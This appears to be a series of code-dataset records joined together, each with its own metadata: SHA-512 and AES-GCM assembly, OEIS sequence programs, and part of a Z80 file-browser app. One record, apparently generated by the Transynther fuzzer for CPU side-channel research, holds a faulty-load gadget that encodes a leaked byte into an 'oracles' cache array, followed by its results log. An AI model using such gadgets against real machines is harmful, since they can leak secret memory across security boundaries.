xmm0, [W_t(%%t-16)] ; XMM0 = s1(W[t-2]) + s0(W[t-15]) + W[t-16] xor tmp0, a_64 paddq xmm0, xmm1 ; XMM0 = s1(W[t-2]) + W[t-7] + s0(W[t-15]) + W[t-16] ror tmp0, 6 ; 34 movdqa [W_t(%%t)], xmm0 ; Store scheduled qwords xor tmp0, a_64 paddq xmm0, [K_t(t)] ; Compute W[t]+K[t] ror tmp0, 28 ; 28 movdqa [WK_2(t)], xmm0 ; Store W[t]+K[t] for next rounds add T2, tmp0 add d_64, T1 lea h_64, [T1 + T2] RotateState %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; void sha512_sse4(const void* M, void* D, uint64_t L); ; Purpose: Updates the SHA512 digest stored at D with the message stored in M. ; The size of the message pointed to by M must be an integer multiple of SHA512 ; message blocks. ; L is the message length in SHA512 blocks. global sha512_sse4:function sha512_sse4: cmp msglen, 0 je .nowork ; Allocate Stack Space sub rsp, frame_size ; Save GPRs mov [rsp + frame.GPRSAVE + 8 * 0], rbx mov [rsp + frame.GPRSAVE + 8 * 1], r12 mov [rsp + frame.GPRSAVE + 8 * 2], r13 mov [rsp + frame.GPRSAVE + 8 * 3], r14 mov [rsp + frame.GPRSAVE + 8 * 4], r15 %ifdef WINABI mov [rsp + frame.GPRSAVE + 8 * 5], rsi mov [rsp + frame.GPRSAVE + 8 * 6], rdi %endif .updateblock: ; Load state variables mov a_64, [DIGEST(0)] mov b_64, [DIGEST(1)] mov c_64, [DIGEST(2)] mov d_64, [DIGEST(3)] mov e_64, [DIGEST(4)] mov f_64, [DIGEST(5)] mov g_64, [DIGEST(6)] mov h_64, [DIGEST(7)] %assign t 0 %rep 80/2 + 1 ; (80 rounds) / (2 rounds/iteration) + (1 iteration) ; +1 iteration because the scheduler leads hashing by 1 iteration %if t < 2 ; BSWAP 2 QWORDS movdqa xmm1, [XMM_QWORD_BSWAP wrt rip] movdqu xmm0, [MSG(t)] pshufb xmm0, xmm1 ; BSWAP movdqa [W_t(t)], xmm0 ; Store Scheduled Pair paddq xmm0, [K_t(t)] ; Compute W[t]+K[t] movdqa [WK_2(t)], xmm0 ; Store into WK for rounds %elif t < 16 ; BSWAP 2 QWORDS; Compute 2 Rounds movdqu xmm0, [MSG(t)] pshufb xmm0, xmm1 ; BSWAP SHA512_Round t - 2 ; Round t-2 movdqa [W_t(t)], xmm0 ; Store Scheduled Pair paddq xmm0, [K_t(t)] ; Compute W[t]+K[t] SHA512_Round t - 1 ; Round t-1 movdqa [WK_2(t)], xmm0 ; Store W[t]+K[t] into WK %elif t < 79 ; Schedule 2 QWORDS; Compute 2 Rounds SHA512_2Sched_2Round_sse t %else ; Compute 2 Rounds SHA512_Round t - 2 SHA512_Round t - 1 %endif %assign t t+2 %endrep ; Update digest add [DIGEST(0)], a_64 add [DIGEST(1)], b_64 add [DIGEST(2)], c_64 add [DIGEST(3)], d_64 add [DIGEST(4)], e_64 add [DIGEST(5)], f_64 add [DIGEST(6)], g_64 add [DIGEST(7)], h_64 ; Advance to next message block add msg, 16*8 dec msglen jnz .updateblock ; Restore GPRs mov rbx, [rsp + frame.GPRSAVE + 8 * 0] mov r12, [rsp + frame.GPRSAVE + 8 * 1] mov r13, [rsp + frame.GPRSAVE + 8 * 2] mov r14, [rsp + frame.GPRSAVE + 8 * 3] mov r15, [rsp + frame.GPRSAVE + 8 * 4] %ifdef WINABI mov rsi, [rsp + frame.GPRSAVE + 8 * 5] mov rdi, [rsp + frame.GPRSAVE + 8 * 6] %endif ; Restore Stack Pointer add rsp, frame_size .nowork: ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; Binary Data section .data ALIGN 16 ; Mask for byte-swapping a couple of qwords in an XMM register using (v)pshufb. XMM_QWORD_BSWAP: ddq 0x08090a0b0c0d0e0f0001020304050607 ; K[t] used in SHA512 hashing K512: dq 0x428a2f98d728ae22,0x7137449123ef65cd dq 0xb5c0fbcfec4d3b2f,0xe9b5dba58189dbbc dq 0x3956c25bf348b538,0x59f111f1b605d019 dq 0x923f82a4af194f9b,0xab1c5ed5da6d8118 dq 0xd807aa98a3030242,0x12835b0145706fbe dq 0x243185be4ee4b28c,0x550c7dc3d5ffb4e2 dq 0x72be5d74f27b896f,0x80deb1fe3b1696b1 dq 0x9bdc06a725c71235,0xc19bf174cf692694 dq 0xe49b69c19ef14ad2,0xefbe4786384f25e3 dq 0x0fc19dc68b8cd5b5,0x240ca1cc77ac9c65 dq 0x2de92c6f592b0275,0x4a7484aa6ea6e483 dq 0x5cb0a9dcbd41fbd4,0x76f988da831153b5 dq 0x983e5152ee66dfab,0xa831c66d2db43210 dq 0xb00327c898fb213f,0xbf597fc7beef0ee4 dq 0xc6e00bf33da88fc2,0xd5a79147930aa725 dq 0x06ca6351e003826f,0x142929670a0e6e70 dq 0x27b70a8546d22ffc,0x2e1b21385c26c926 dq 0x4d2c6dfc5ac42aed,0x53380d139d95b3df dq 0x650a73548baf63de,0x766a0abb3c77b2a8 dq 0x81c2c92e47edaee6,0x92722c851482353b dq 0xa2bfe8a14cf10364,0xa81a664bbc423001 dq 0xc24b8b70d0f89791,0xc76c51a30654be30 dq 0xd192e819d6ef5218,0xd69906245565a910 dq 0xf40e35855771202a,0x106aa07032bbd1b8 dq 0x19a4c116b8d2d0c8,0x1e376c085141ab53 dq 0x2748774cdf8eeb99,0x34b0bcb5e19b48a8 dq 0x391c0cb3c5c95a63,0x4ed8aa4ae3418acb dq 0x5b9cca4f7763e373,0x682e6ff3d6b2b8a3 dq 0x748f82ee5defb2fc,0x78a5636f43172f60 dq 0x84c87814a1f0ab72,0x8cc702081a6439ec dq 0x90befffa23631e28,0xa4506cebde82bde9 dq 0xbef9a3f7b2c67915,0xc67178f2e372532b dq 0xca273eceea26619c,0xd186b8c721c0c207 dq 0xeada7dd6cde0eb1e,0xf57d4f7fee6ed178 dq 0x06f067aa72176fba,0x0a637dc5a2c898a6 dq 0x113f9804bef90dae,0x1b710b35131c471b dq 0x28db77f523047d84,0x32caab7b40c72493 dq 0x3c9ebe0a15c9bebc,0x431d67c49c100d4c dq 0x4cc5d4becb3e42b6,0x597f299cfc657e2a dq 0x5fcb6fab3ad6faec,0x6c44198c4a475817
33.519802
81
0.613942
[ "Apache-2.0" ]
blipp/hacl-star
test/benchmarks/supercop-20170228/crypto_hashblocks/sha512/dolbeau/intelsse4asm/sha512_sse4.asm
13,542
Assembly
4
; A132345: Number of increasing three-term geometric sequences from the integers {1,2,...,n}. ; 0,0,0,1,1,1,1,2,4,4,4,5,5,5,5,8,8,10,10,11,11,11,11,12,16,16,18,19,19,19,19,22,22,22,22,27,27,27,27,28,28,28,28,29,31,31,31,34,40,44,44,45,45,47,47,48,48,48,48,49,49,49,51,58,58,58,58,59,59,59,59,64,64,64,68,69,69,69,69,72,80,80,80,81,81,81,81,82,82,84,84,85,85,85,85,88,88,94,96,105 lpb $0 mov $2,$0 sub $0,1 seq $2,57918 ; Number of pairs of numbers (a,b) each less than n where (a,b,n) is in geometric progression. add $1,$2 lpe mov $0,$1
49.727273
285
0.656307
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/132/A132345.asm
547
Assembly
4
; A206804: (1/2)*A206803. ; 1,4,13,26,49,78,121,188,264,370,498,638,804,1012,1265,1534,1854,2210,2585,3020,3497,4040,4675,5358,6066,6826,7613,8456,9502,10608,11807,13038,14434,15864,17399,19042,20759,22590,24538,26526,28719 lpb $0 mov $2,$0 sub $0,1 add $2,1 seq $2,185382 ; Sum_{j=1..n-1} P(n)-P(j), where P(j) = A065091(j) is the j-th odd prime. add $1,$2 lpe div $1,2 add $1,1 mov $0,$1
28.642857
197
0.663342
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/206/A206804.asm
401
Assembly
4
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0xaed, %r12 clflush (%r12) nop nop nop nop sub %r13, %r13 mov $0x6162636465666768, %rdx movq %rdx, %xmm0 and $0xffffffffffffffc0, %r12 movaps %xmm0, (%r12) nop nop nop nop nop sub $567, %r12 lea addresses_UC_ht+0x102ad, %rdi nop nop nop nop xor $63064, %rax mov (%rdi), %rcx nop nop sub %rdx, %rdx lea addresses_UC_ht+0x152ad, %rcx cmp $18264, %r11 mov (%rcx), %r13 nop nop nop nop nop dec %rdx lea addresses_UC_ht+0x3d6c, %rcx nop nop nop add %rax, %rax movups (%rcx), %xmm6 vpextrq $1, %xmm6, %r12 dec %rax lea addresses_D_ht+0x5e95, %r11 nop add %rdx, %rdx mov (%r11), %rdi nop nop nop inc %rdx lea addresses_A_ht+0x813d, %rsi lea addresses_WC_ht+0xead, %rdi clflush (%rsi) nop nop nop cmp %rax, %rax mov $1, %rcx rep movsl nop nop sub %rdi, %rdi lea addresses_D_ht+0x1eaad, %rsi lea addresses_UC_ht+0x12ad, %rdi nop nop nop nop nop cmp $4625, %rdx mov $54, %rcx rep movsw nop nop nop nop nop xor $60790, %rax lea addresses_normal_ht+0x8d0d, %rsi lea addresses_A_ht+0x1b2d, %rdi nop nop nop nop add %r12, %r12 mov $109, %rcx rep movsb nop nop nop nop xor $51313, %r12 lea addresses_A_ht+0x1b869, %rsi nop nop nop nop nop xor %rdi, %rdi mov $0x6162636465666768, %rdx movq %rdx, %xmm6 vmovups %ymm6, (%rsi) nop nop nop dec %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %rbp push %rdi push %rsi // Store lea addresses_UC+0x10b75, %rbp nop nop nop nop nop cmp $44852, %r12 movl $0x51525354, (%rbp) nop nop nop nop nop and %rdi, %rdi // Faulty Load lea addresses_normal+0x162ad, %r12 nop dec %r13 vmovntdqa (%r12), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %rsi lea oracles, %r14 and $0xff, %rsi shlq $12, %rsi mov (%r14,%rsi,1), %rsi pop %rsi pop %rdi pop %rbp pop %r14 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_normal', 'same': True, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'20': 1, '7d': 1, '44': 4467, '46': 6431, '00': 128, '10': 10759, '08': 42} 20 46 10 44 10 44 10 10 10 46 10 46 46 10 10 10 44 46 44 46 44 10 44 10 46 10 10 10 10 46 46 44 46 46 44 10 10 46 10 44 46 10 44 46 10 46 10 46 10 46 10 10 46 10 46 10 46 46 00 10 46 10 46 10 10 46 10 46 10 46 10 44 44 10 44 44 10 46 10 10 44 10 10 44 10 10 46 46 10 46 10 10 10 46 10 10 46 10 46 46 46 10 46 10 46 46 10 46 44 10 10 10 44 10 46 10 44 10 10 46 46 10 44 46 10 44 44 46 46 10 10 46 10 46 46 10 44 10 10 10 10 10 46 10 46 10 46 46 10 10 46 46 10 46 46 10 10 44 10 46 46 46 10 10 44 10 46 46 46 46 10 10 44 46 10 44 10 46 46 10 10 10 10 10 46 46 44 44 10 46 10 46 10 46 10 10 46 10 10 44 10 46 46 10 46 10 44 10 10 10 46 10 46 46 10 46 10 10 44 10 10 10 46 10 10 10 10 10 46 10 10 46 10 10 46 10 10 46 46 10 44 46 10 44 10 10 46 46 10 10 46 10 44 10 46 46 46 46 44 10 10 10 46 10 10 10 46 10 46 46 44 46 44 46 10 44 44 44 10 10 10 46 44 44 44 46 10 46 46 46 10 44 46 10 44 46 46 10 44 46 44 46 44 46 10 46 46 10 44 10 46 10 44 46 10 44 44 10 46 46 10 44 10 46 10 46 44 46 46 46 46 46 10 10 44 10 46 46 44 10 46 44 10 10 46 10 44 10 46 10 10 10 46 46 10 10 10 10 10 46 10 46 10 10 46 10 46 46 10 46 10 08 46 10 44 10 10 10 46 10 44 10 46 10 10 10 10 10 10 10 10 46 10 46 10 46 10 46 10 44 10 44 46 46 10 44 10 46 10 10 46 10 10 46 10 46 10 46 46 10 44 10 10 46 46 10 46 10 10 46 10 46 10 46 10 10 46 10 44 10 46 10 46 10 46 46 46 10 46 46 46 10 46 10 46 46 10 46 46 10 46 10 44 10 10 44 10 10 44 10 46 10 46 44 46 46 46 10 44 46 10 44 10 44 10 46 10 46 46 10 10 46 10 10 46 10 46 10 46 10 10 46 46 46 46 10 46 10 10 44 44 46 44 46 44 10 46 46 10 44 10 10 46 46 10 46 10 46 10 10 10 10 10 46 10 46 10 10 10 46 46 46 10 44 10 44 10 46 46 46 10 44 10 46 46 46 10 46 10 46 10 46 10 46 46 46 44 10 46 10 46 10 46 10 10 10 10 46 10 10 10 46 10 44 46 46 44 10 46 10 10 10 46 10 44 10 10 44 46 46 10 10 10 46 10 46 46 46 10 44 10 10 44 10 46 46 10 46 10 44 46 10 46 46 10 10 44 10 46 10 10 10 10 46 46 46 10 46 46 46 44 10 44 46 46 10 46 46 46 10 46 10 10 10 46 10 46 10 46 10 46 46 10 10 10 46 10 46 10 46 10 46 10 44 46 10 46 10 46 10 46 10 46 10 10 10 46 10 46 10 46 46 10 44 10 46 10 46 44 10 46 10 46 10 10 10 46 44 10 10 44 00 46 10 10 10 10 46 10 10 44 46 10 46 10 46 46 10 46 10 46 46 10 46 10 10 44 10 46 46 10 46 10 10 44 10 46 44 10 44 10 46 46 10 44 46 10 10 46 10 46 10 46 10 10 44 46 10 10 46 10 46 46 10 10 44 10 46 46 10 10 46 10 46 00 10 44 10 46 46 44 10 46 46 10 10 46 46 10 46 10 44 10 46 46 10 46 10 10 46 10 10 46 46 10 44 10 44 10 46 10 46 46 46 10 10 00 46 46 10 44 10 10 10 44 10 46 46 10 10 44 10 46 46 10 46 10 46 46 10 46 10 46 46 10 44 10 46 46 10 44 44 46 44 10 46 46 46 46 10 46 46 46 10 10 46 46 10 10 46 10 44 46 10 10 46 46 10 46 10 46 10 46 10 46 46 46 10 44 10 10 46 10 46 46 46 10 46 46 44 10 44 46 10 10 44 44 10 46 46 10 46 46 10 46 10 46 46 10 44 10 46 10 10 10 10 10 46 10 46 44 10 44 10 46 10 46 10 46 10 46 44 46 10 46 10 10 10 10 46 10 46 10 46 10 46 10 10 10 46 46 10 10 44 10 46 10 46 10 46 46 44 46 10 46 10 10 44 44 10 10 10 10 44 10 46 46 10 46 10 */
34.34359
2,999
0.658354
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/AVXALIGN/_ht_zr_un_/i3-7100_9_0x84_notsx.log_21829_900.asm
6,697
Assembly
4
############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 4, 0x90 _CONST_DATA: _INIT_IDX: .word 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7 _INCR_IDX: .word 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8, 0x8 .p2align 4, 0x90 .globl getAesGcmConst_table_ct .type getAesGcmConst_table_ct, @function getAesGcmConst_table_ct: push %ebx call .L__0000gas_1 .L__0000gas_1: pop %ebx sub $(.L__0000gas_1-_CONST_DATA), %ebx pxor %xmm2, %xmm2 mov %ecx, %eax shl $(16), %ecx or %eax, %ecx movd %ecx, %xmm3 pshufd $(0), %xmm3, %xmm3 movdqa ((_INIT_IDX-_CONST_DATA))(%ebx), %xmm6 xor %eax, %eax .p2align 4, 0x90 .Lsearch_loopgas_1: movdqa %xmm6, %xmm7 paddw ((_INCR_IDX-_CONST_DATA))(%ebx), %xmm6 pcmpeqw %xmm3, %xmm7 pand (%edx,%eax,2), %xmm7 add $(8), %eax cmp $(256), %eax por %xmm7, %xmm2 jl .Lsearch_loopgas_1 movdqa %xmm2, %xmm3 psrldq $(8), %xmm2 por %xmm3, %xmm2 movdqa %xmm2, %xmm3 psrldq $(4), %xmm2 por %xmm3, %xmm2 movd %xmm2, %eax pop %ebx and $(3), %ecx shl $(4), %ecx shr %cl, %eax ret .Lfe1: .size getAesGcmConst_table_ct, .Lfe1-(getAesGcmConst_table_ct) .p2align 4, 0x90 .globl AesGcmMulGcm_table2K .type AesGcmMulGcm_table2K, @function AesGcmMulGcm_table2K: push %ebp mov %esp, %ebp push %ebx push %esi push %edi movl (8)(%ebp), %edi movdqu (%edi), %xmm0 movl (12)(%ebp), %esi movl (16)(%ebp), %edx movd %xmm0, %ebx mov $(4042322160), %eax and %ebx, %eax shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx movdqa (1024)(%esi,%ecx), %xmm5 movzbl %al, %ecx movdqa (1024)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx movdqa (1024)(%esi,%ecx), %xmm3 movzbl %al, %ecx movdqa (1024)(%esi,%ecx), %xmm2 psrldq $(4), %xmm0 movd %xmm0, %eax and $(4042322160), %eax movzbl %bh, %ecx pxor (%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (%esi,%ecx), %xmm2 movd %xmm0, %ebx shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx pxor (1280)(%esi,%ecx), %xmm5 movzbl %al, %ecx pxor (1280)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx pxor (1280)(%esi,%ecx), %xmm3 movzbl %al, %ecx pxor (1280)(%esi,%ecx), %xmm2 psrldq $(4), %xmm0 movd %xmm0, %eax and $(4042322160), %eax movzbl %bh, %ecx pxor (256)(%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (256)(%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (256)(%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (256)(%esi,%ecx), %xmm2 movd %xmm0, %ebx shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx pxor (1536)(%esi,%ecx), %xmm5 movzbl %al, %ecx pxor (1536)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx pxor (1536)(%esi,%ecx), %xmm3 movzbl %al, %ecx pxor (1536)(%esi,%ecx), %xmm2 psrldq $(4), %xmm0 movd %xmm0, %eax and $(4042322160), %eax movzbl %bh, %ecx pxor (512)(%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (512)(%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (512)(%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (512)(%esi,%ecx), %xmm2 movd %xmm0, %ebx shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx pxor (1792)(%esi,%ecx), %xmm5 movzbl %al, %ecx pxor (1792)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx pxor (1792)(%esi,%ecx), %xmm3 movzbl %al, %ecx pxor (1792)(%esi,%ecx), %xmm2 movzbl %bh, %ecx pxor (768)(%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (768)(%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (768)(%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (768)(%esi,%ecx), %xmm2 movdqa %xmm3, %xmm0 pslldq $(1), %xmm3 pxor %xmm3, %xmm2 movdqa %xmm2, %xmm1 pslldq $(1), %xmm2 pxor %xmm2, %xmm5 psrldq $(15), %xmm0 movd %xmm0, %ecx call getAesGcmConst_table_ct shl $(8), %eax movdqa %xmm5, %xmm0 pslldq $(1), %xmm5 pxor %xmm5, %xmm4 psrldq $(15), %xmm1 movd %xmm1, %ecx mov %eax, %ebx call getAesGcmConst_table_ct xor %ebx, %eax shl $(8), %eax psrldq $(15), %xmm0 movd %xmm0, %ecx mov %eax, %ebx call getAesGcmConst_table_ct xor %ebx, %eax movd %eax, %xmm0 pxor %xmm4, %xmm0 movdqu %xmm0, (%edi) pop %edi pop %esi pop %ebx pop %ebp ret .Lfe2: .size AesGcmMulGcm_table2K, .Lfe2-(AesGcmMulGcm_table2K) .p2align 4, 0x90 .globl AesGcmAuth_table2K .type AesGcmAuth_table2K, @function AesGcmAuth_table2K: push %ebp mov %esp, %ebp push %ebx push %esi push %edi movl (8)(%ebp), %edi movdqu (%edi), %xmm0 movl (20)(%ebp), %esi movl (12)(%ebp), %edi movl (24)(%ebp), %edx .p2align 4, 0x90 .Lauth_loopgas_3: movdqu (%edi), %xmm4 pxor %xmm4, %xmm0 movd %xmm0, %ebx mov $(4042322160), %eax and %ebx, %eax shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx movdqa (1024)(%esi,%ecx), %xmm5 movzbl %al, %ecx movdqa (1024)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx movdqa (1024)(%esi,%ecx), %xmm3 movzbl %al, %ecx movdqa (1024)(%esi,%ecx), %xmm2 psrldq $(4), %xmm0 movd %xmm0, %eax and $(4042322160), %eax movzbl %bh, %ecx pxor (%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (%esi,%ecx), %xmm2 movd %xmm0, %ebx shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx pxor (1280)(%esi,%ecx), %xmm5 movzbl %al, %ecx pxor (1280)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx pxor (1280)(%esi,%ecx), %xmm3 movzbl %al, %ecx pxor (1280)(%esi,%ecx), %xmm2 psrldq $(4), %xmm0 movd %xmm0, %eax and $(4042322160), %eax movzbl %bh, %ecx pxor (256)(%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (256)(%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (256)(%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (256)(%esi,%ecx), %xmm2 movd %xmm0, %ebx shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx pxor (1536)(%esi,%ecx), %xmm5 movzbl %al, %ecx pxor (1536)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx pxor (1536)(%esi,%ecx), %xmm3 movzbl %al, %ecx pxor (1536)(%esi,%ecx), %xmm2 psrldq $(4), %xmm0 movd %xmm0, %eax and $(4042322160), %eax movzbl %bh, %ecx pxor (512)(%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (512)(%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (512)(%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (512)(%esi,%ecx), %xmm2 movd %xmm0, %ebx shl $(4), %ebx and $(4042322160), %ebx movzbl %ah, %ecx pxor (1792)(%esi,%ecx), %xmm5 movzbl %al, %ecx pxor (1792)(%esi,%ecx), %xmm4 shr $(16), %eax movzbl %ah, %ecx pxor (1792)(%esi,%ecx), %xmm3 movzbl %al, %ecx pxor (1792)(%esi,%ecx), %xmm2 movzbl %bh, %ecx pxor (768)(%esi,%ecx), %xmm5 movzbl %bl, %ecx pxor (768)(%esi,%ecx), %xmm4 shr $(16), %ebx movzbl %bh, %ecx pxor (768)(%esi,%ecx), %xmm3 movzbl %bl, %ecx pxor (768)(%esi,%ecx), %xmm2 movdqa %xmm3, %xmm0 pslldq $(1), %xmm3 pxor %xmm3, %xmm2 movdqa %xmm2, %xmm1 pslldq $(1), %xmm2 pxor %xmm2, %xmm5 psrldq $(15), %xmm0 movd %xmm0, %ecx call getAesGcmConst_table_ct shl $(8), %eax movdqa %xmm5, %xmm0 pslldq $(1), %xmm5 pxor %xmm5, %xmm4 psrldq $(15), %xmm1 movd %xmm1, %ecx mov %eax, %ebx call getAesGcmConst_table_ct xor %ebx, %eax shl $(8), %eax psrldq $(15), %xmm0 movd %xmm0, %ecx mov %eax, %ebx call getAesGcmConst_table_ct xor %ebx, %eax movd %eax, %xmm0 pxor %xmm4, %xmm0 add $(16), %edi subl $(16), (16)(%ebp) jnz .Lauth_loopgas_3 movl (8)(%ebp), %edi movdqu %xmm0, (%edi) pop %edi pop %esi pop %ebx pop %ebp ret .Lfe3: .size AesGcmAuth_table2K, .Lfe3-(AesGcmAuth_table2K)
32.270202
80
0.468033
[ "Apache-2.0" ]
idesai/ipp-crypto
sources/ippcp/asm_ia32_gas_converted/linux/pic/p8/singlecpu/pcpaesgcmtable2kv8as.asm
12,779
Assembly
4
; A085409: Sum of three solutions of the Diophantine equation x^2 - y^2 = z^3. ; 0,12,84,270,624,1200,2052,3234,4800,6804,9300,12342,15984,20280,25284,31050,37632,45084,53460,62814,73200,84672,97284,111090,126144,142500,160212,179334,199920,222024,245700,271002,297984,326700,357204,389550 mov $1,$0 mul $1,3 mul $0,$1 add $1,1 mul $0,$1 mov $1,$0
34.9
210
0.74212
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/085/A085409.asm
349
Assembly
4
public files_app extern ui_window_handle_input_propagate extern ui_window_handle_input_do_not_propagate extern ui_window_handle_vsync_noop extern ui_label_IX_draw extern ui_panel_IX_draw extern ui_widget_IX_draw extern ui_window_IX_draw extern ui_box_IX_toggle_visibility extern ui_box_IX_calculate_absolute_position_DE extern ui_listview_IX_draw extern ui_listview_line_cursor_IX_draw extern ui_listview_line_cursor_IX_up extern ui_listview_line_cursor_IX_down extern sdcard_init extern fat32_init extern fat32_directory_listing_IX_seek_line_BC extern fat32_directory_listing_IX_read_line_eof_Z extern fat32_directory_listing_IX_delete_current_entry extern fat32_working_directory extern fat32_directory_IX_create_file_name_HL extern listing_IX_seek_line_BC extern listing_IX_read_line_eof_Z extern convert_scancode_E_shift_D_to_ascii_char_A_found_NZ extern editor_listing_IX_seek_line_BC extern editor_listing_IX_read_line_eof_Z extern editor_file extern error extern debug_io_print_hex_byte_A extern debug_io_print_character_A include "ui.inc" include "stream.inc" include "fat32.inc" include "listing.inc" include "video_io.inc" include "editor.inc" files_app_init: LD A, (files_initialized) AND A, A RET NZ CALL sdcard_init CALL fat32_init LD L, '/' LD H, 0 LD (files_listview_title_text_name), HL LD A, 1 LD (files_initialized), A RET files_app_activate: RET files_app_deactivate: RET files_app_handle_input: BIT 0, D ; ignore key release events JP NZ, ui_window_handle_input_propagate LD A, E CP A, $75 ; up arrow JP Z, files_app_handle_input_up_arrow CP A, $72 ; down arrow JP Z, files_app_handle_input_down_arrow CP A, $5A ; enter JP Z, files_app_handle_input_enter CP A, $71 ; delete JP Z, files_app_handle_input_delete CP A, $31 ; N JP Z, files_app_new_file JP ui_window_handle_input_propagate files_app_handle_input_up_arrow: LD IX, files_listview_cursor CALL ui_listview_line_cursor_IX_up JP ui_window_handle_input_do_not_propagate files_app_handle_input_down_arrow: LD IX, 